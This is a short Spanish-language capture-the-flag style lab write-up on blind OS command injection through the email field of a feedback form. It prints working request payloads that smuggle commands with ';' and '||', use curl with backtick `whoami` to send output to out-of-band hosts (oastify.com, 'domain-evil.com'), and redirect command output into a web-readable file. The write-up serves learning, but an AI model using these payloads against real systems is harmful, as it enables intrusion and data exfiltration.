Skip to content

Blind OS command injection with output redirection

[20251009012552.png]

En el sitio web encontraremos un apartado de enviar nuestro feedback.

[20251009012602.png]

Interceptando el trafico observaremos que en el parámetro de email podemos agregar un ; y ejecutar comandos.

c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;curl%20http://sjfxvnjub6y8xrtxcf9zx2llvc13pwdl.oastify.com&subject=test&message=test

[20251009012931.png]

[20251009012948.png]

Al tener una ejecución ciega, podemos enviarnos un curl.

[20251009013532.png]

c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;curl%20http://wgg1srgy8avcuvq19j63u6ipsgy7m1aq.oastify.com/`whoami`&subject=test&message=test

Para ver el el output de la ejecución de comandos como la salida de un whoami debemos ejecutar.

c
curl http://domain-evil.com/`whoami`
c
`whoami`

[20251009013617.png]

De esta manera podemos ver el output, y ahora para resolver el laboratorio vamos a enviar el output del whoami en un archivo /var/www/images/output.txt

c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x||whoami>/var/www/images/ouput.txt||&subject=test&message=test

por leer el contenido tenemos que ir al endpoint en filename=output.txt

[20251009014212.png]

c
csrf=IBvnzLClfdsVeEIk3BwCSppv2BeNIFdx&name=test&email=x;ls+-la>/var/www/images/ouput.txt;&subject=test&message=test

[20251009014139.png]